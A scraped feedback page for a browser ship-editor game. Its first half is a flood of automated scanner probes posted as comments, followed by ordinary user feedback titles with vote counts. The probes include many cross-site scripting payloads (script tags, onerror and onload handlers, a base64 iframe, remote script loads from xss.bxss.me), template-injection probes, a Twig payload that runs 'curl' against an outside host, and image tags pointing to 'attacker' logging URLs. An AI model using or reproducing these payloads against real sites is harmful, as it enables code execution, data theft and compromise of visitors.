• TYYHyRvY<img/src=">" onerror=alert(9783)>

  1

• TYYHyRvY

  1<img src=//xss.bxss.me/t/dot.gif onload=JUJ4(9443)>

• TYYHyRvY\u003CScRiPt\1Dop(9532)\u003C/sCripT\u003E

  1

• TYYHyRvY

  1<img src=xyz OnErRor=JUJ4(9929)>

• TYYHyRvY&lt;ScRiPt&gt;1Dop(9070)&lt;/sCripT&gt;

  1

• TYYHyRvY

  1<img/src=">" onerror=alert(9794)>

• TYYHyRvY

  1<img/src=">" onerror=alert(9480)>

• TYYHyRvY<input autofocus onfocus=1Dop(9697)>

  1

• TYYHyRvY

  %31%3C%53%63%52%69%50%74%20%3E%4A%55%4A%34%289960%29%3C%2F%73%43%72%69%70%54%3E

• TYYHyRvY

  1\u003CScRiPt\JUJ4(9168)\u003C/sCripT\u003E

• <a HrEF=http://xss.bxss.me></a>

  1

• TYYHyRvY

  1&lt;ScRiPt&gt;JUJ4(9811)&lt;/sCripT&gt;

• <a HrEF=jaVaScRiPT:>

  1

• TYYHyRvY}body{zzz:Expre/**/SSion(1Dop(9079))}

  1

• TYYHyRvY

  1<input autofocus onfocus=JUJ4(9339)>

• TYYHyRvYwJAa6 <ScRiPt >1Dop(9985)</ScRiPt>

  1

• TYYHyRvYwJAa6 <ScRiPt >1Dop(9985)</ScRiPt>

  1

• TYYHyRvY

  <a HrEF=http://xss.bxss.me></a>

• TYYHyRvY

  <a HrEF=jaVaScRiPT:>

• TYYHyRvY

  1}body{zzz:Expre/**/SSion(JUJ4(9238))}

• TYYHyRvY

  1kamZr <ScRiPt >JUJ4(9327)</ScRiPt>

• TYYHyRvY

  1<WTVZU3>QMMR3[!+!]</WTVZU3>

• TYYHyRvY

  1<ifRAme sRc=9901.com></IfRamE>

• TYYHyRvY

  1<amPQO2U x=9743>

• TYYHyRvY

  1<img sRc='http://attacker-9295/log.php?

• TYYHyRvY

  1<aCozzAV<

• TYYHyRvY

  1<ahrxIzd<

• TYYHyRvY

  1'"()&%<zzz><ScRiPt >OLNL(9466)</ScRiPt>

• TYYHyRvY

  {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitaawhwgaitj80257.bxss.me")}}

• TYYHyRvY

  '"()&%<zzz><ScRiPt >OLNL(9345)</ScRiPt>

• TYYHyRvY

  19837448

• TYYHyRvY

  bfg9836＜s1﹥s2ʺs3ʹhjl9836

• TYYHyRvY

  <%={{={@{#{${dfb}}%>

• TYYHyRvY

  <th:t="${dfb}#foreach

• TYYHyRvY'"()&%<zzz><ScRiPt >HVHL(9784)</ScRiPt>

  1

• TYYHyRvY

  1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

• TYYHyRvY

  dfb{{98991*97996}}xca

• '"()&%<zzz><ScRiPt >HVHL(9341)</ScRiPt>

  1

• TYYHyRvY

  dfb[[${98991*97996}]]xca

• TYYHyRvY9413526

  1

• TYYHyRvY

  dfb__${98991*97996}__::.x

• bfg8236＜s1﹥s2ʺs3ʹhjl8236

  1

• TYYHyRvY

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

• <%={{={@{#{${dfb}}%>

  1

• TYYHyRvY

  1<ScRiPt >OLNL(9455)</ScRiPt>

• <th:t="${dfb}#foreach

  1

• TYYHyRvY

  1<W5XHHH>AOWGL[!+!]</W5XHHH>

• 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

  1

• TYYHyRvY

  1<script>OLNL(9788)</script>

• dfb{{98991*97996}}xca

  1

• TYYHyRvY

  1<script>OLNL(9051)</script>

• dfb[[${98991*97996}]]xca

  1

• TYYHyRvY

  1<script>OLNL(9103)</script>9103

• dfb__${98991*97996}__::.x

  1

• TYYHyRvY

  1<script>OLNL(9882)</script>9882

• "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  1

• TYYHyRvY

  1<ScR<ScRiPt>IpT>OLNL(9143)</sCr<ScRiPt>IpT>

• TYYHyRvY<ScRiPt >HVHL(9223)</ScRiPt>

  1

• TYYHyRvY

  1<ScRiPt >OLNL(9466)</ScRiPt>

• TYYHyRvY<WV3PPQ>PZ1NC[!+!]</WV3PPQ>

  1

• TYYHyRvY

  1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9636></ScRiPt>

• TYYHyRvY<script>HVHL(9214)</script>

  1

• TYYHyRvY

  1<ScRiPt >OLNL(9601)</ScRiPt>

• TYYHyRvY<script>HVHL(9648)</script>

  1

• TYYHyRvY

  1<isindex type=image src=1 onerror=OLNL(9417)>

• TYYHyRvY<script>HVHL(9218)</script>9218

  1

• TYYHyRvY

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9246'>

• TYYHyRvY<script>HVHL(9331)</script>9331

  1

• TYYHyRvY

  1<body onload=OLNL(9381)>

• TYYHyRvY<ScRiPt >HVHL(9128)</ScRiPt>

  1

• TYYHyRvY

  1<img src=//xss.bxss.me/t/dot.gif onload=OLNL(9306)>

• TYYHyRvY

  1<img src=xyz OnErRor=OLNL(9952)>

• TYYHyRvY<ScRiPt >HVHL(9661)</ScRiPt>

  1

• TYYHyRvY

  1<img/src=">" onerror=alert(9527)>

• TYYHyRvY

  1<img/src=">" onerror=alert(9755)>

• TYYHyRvY

  %31%3C%53%63%52%69%50%74%20%3E%4F%4C%4E%4C%289460%29%3C%2F%73%43%72%69%70%54%3E

• TYYHyRvY<body onload=HVHL(9532)>

  1

• TYYHyRvY

  1\u003CScRiPt\OLNL(9133)\u003C/sCripT\u003E

• TYYHyRvY

  1&lt;ScRiPt&gt;OLNL(9859)&lt;/sCripT&gt;

• TYYHyRvY<img src=xyz OnErRor=HVHL(9649)>

  1

• TYYHyRvY<img/src=">" onerror=alert(9118)>

  1

• TYYHyRvY

  1<input autofocus onfocus=OLNL(9968)>

• TYYHyRvY<img/src=">" onerror=alert(9383)>

  1

• TYYHyRvY

  <a HrEF=http://xss.bxss.me></a>

• TYYHyRvY

  <a HrEF=jaVaScRiPT:>

• TYYHyRvY\u003CScRiPt\HVHL(9469)\u003C/sCripT\u003E

  1

• TYYHyRvY

  1}body{zzz:Expre/**/SSion(OLNL(9000))}

• TYYHyRvY&lt;ScRiPt&gt;HVHL(9114)&lt;/sCripT&gt;

  1

• TYYHyRvY

  1bEIp1 <ScRiPt >OLNL(9286)</ScRiPt>

• TYYHyRvY<input autofocus onfocus=HVHL(9903)>

  1

• TYYHyRvY

  1<WE89PI>4PLD4[!+!]</WE89PI>

• <a HrEF=http://xss.bxss.me></a>

  1

• TYYHyRvY

  1<ifRAme sRc=9751.com></IfRamE>

• <a HrEF=jaVaScRiPT:>

  1

• TYYHyRvY

  1<a11q3rJ x=9242>

• TYYHyRvY}body{zzz:Expre/**/SSion(HVHL(9629))}

  1

• TYYHyRvY

  1<img sRc='http://attacker-9868/log.php?

• TYYHyRvYZslUd <ScRiPt >HVHL(9351)</ScRiPt>

  1

• TYYHyRvY

  1<aDVnjoH<

• TYYHyRvY<WQESHO>MIJ9M[!+!]</WQESHO>

  1

• TYYHyRvY

  1<aStCNUl<

• TYYHyRvY<ifRAme sRc=9819.com></IfRamE>

  1

• TYYHyRvY<a7VSTqm x=9681>

  1

• TYYHyRvY<img sRc='http://attacker-9332/log.php?

  1

• TYYHyRvY<aT8LGr1<

  1

• TYYHyRvY<aR4GypN<

  1

Comment

• Ship changed after being placed into the gallery
  By BeyPokéDig - 169 months ago
  Unvote

  8553 agree

• Hack Protection
  By Stealthkid - 161 months ago
  Unvote

  3100 agree

• Symmetry and Snap to grid Mode
  By Stan1023 - 128 months ago
  Unvote

  1127 agree

• Add to favorites
  By Anonymous - 172 months ago
  Unvote

  1124 agree

• editro
  By critic - 172 months ago
  Unvote

  1064 agree

• Youtube B-wing achievement
  By chuck norris - 170 months ago
  Unvote

  1055 agree

• Change Name?
  By Anonymous - 172 months ago
  Unvote

  1054 agree

• What browsers are supported?
  By Jack - 168 months ago
  Unvote

  1035 agree

• Missiles as an Third Weapon
  By Ram - 168 months ago
  Unvote

  1003 agree

• It doesn't work!
  By the destructor - 171 months ago
  Unvote

  955 agree

• Slide ship in on start
  By Kickass guy - 172 months ago
  Vote

  950 agree

• need some advice
  By Hao - 169 months ago
  Unvote

  942 agree

• Kick Ass is Bad Ass!!
  By TheNuclearNinja - 167 months ago
  Unvote

  915 agree

• Mistaken Website Bug
  By CrazyDeathling - 170 months ago
  Unvote

  913 agree

• Try Me does not work
  By Tim - 172 months ago
  Unvote

  900 agree

• Rank list & Leaderboards
  By StoleYourFood - 166 months ago
  Unvote

  889 agree

• achievements
  By Lee - 171 months ago
  Unvote

  887 agree

• battle
  By alexof - 169 months ago
  Unvote

  881 agree

• how do i draw the outline
  By kickassisdeboss - 171 months ago
  Unvote

  879 agree

• Menu not showing up
  By Patrick.Fletcher.118 - 171 months ago
  Unvote

  855 agree

• Mirrored editing
  By wombat - 169 months ago
  Unvote

  844 agree

• Save
  By DevilishDB - 170 months ago
  Unvote

  841 agree

• Benefits from improving ranks
  By hurrtz - 167 months ago
  Unvote

  832 agree

• You guys should have a symmetrical mode
  By Idrees - 171 months ago
  Unvote

  826 agree

• Rankings
  By heyo - 171 months ago
  Unvote

  817 agree

• Designer
  By Anonymous - 172 months ago
  Unvote

  814 agree

• Awesome
  By Anonymous - 164 months ago
  Unvote

  814 agree

• Pen tool
  By Cblackdragon - 166 months ago
  Unvote

  809 agree

• Pro!!
  By Jtbui20 - 170 months ago
  Unvote

  806 agree

• omfg
  By Russellmichael13 - 170 months ago
  Unvote

  804 agree

• Two major glitches
  By BeyPokéDig - 171 months ago
  Unvote

  804 agree

• Button
  By Cottonball - 170 months ago
  Unvote

  799 agree

• 1 agrees
  By BeyPokéDig - 171 months ago
  Unvote

  796 agree

• Doesn't work on ismittromneythepresident.com
  By MassMurdererOver9000 - 164 months ago
  Unvote

  792 agree

• Undo button
  By wombat - 169 months ago
  Unvote

  785 agree

• You guys need an undo button
  By Idrees - 171 months ago
  Unvote

  782 agree

• Extra weapons
  By MassMurdererOver9000 - 166 months ago
  Unvote

  777 agree

• I am using this on my site
  By Idrees - 171 months ago
  Unvote

  777 agree

• Posting times of feedback and feedback comments
  By BeyPokéDig - 171 months ago
  Unvote

  773 agree

• White labeling the app?
  By Peter.dibart - 167 months ago
  Unvote

  773 agree

• Forums
  By BeyPokéDig - 171 months ago
  Unvote

  771 agree

• Image for ship
  By wombat - 169 months ago
  Unvote

  770 agree

• Enemies
  By Agallup16 - 171 months ago
  Unvote

  752 agree

• android app
  By Barissenkal - 162 months ago
  Unvote

  747 agree

• Question
  By Kickin Ass - 171 months ago
  Unvote

  742 agree

• help
  By Russellmichael13 - 170 months ago
  Unvote

  694 agree

• Undo Button
  By Cblackdragon - 166 months ago
  Unvote

  689 agree

• page moving up/down while controling the ship?
  By Tommy - 171 months ago
  Unvote

  682 agree

• 0xp till| Only GA.
  By StoleYourFood - 166 months ago
  Unvote

  675 agree

• how come the editor is so hard to use
  By Rcasassin - 168 months ago
  Unvote

  663 agree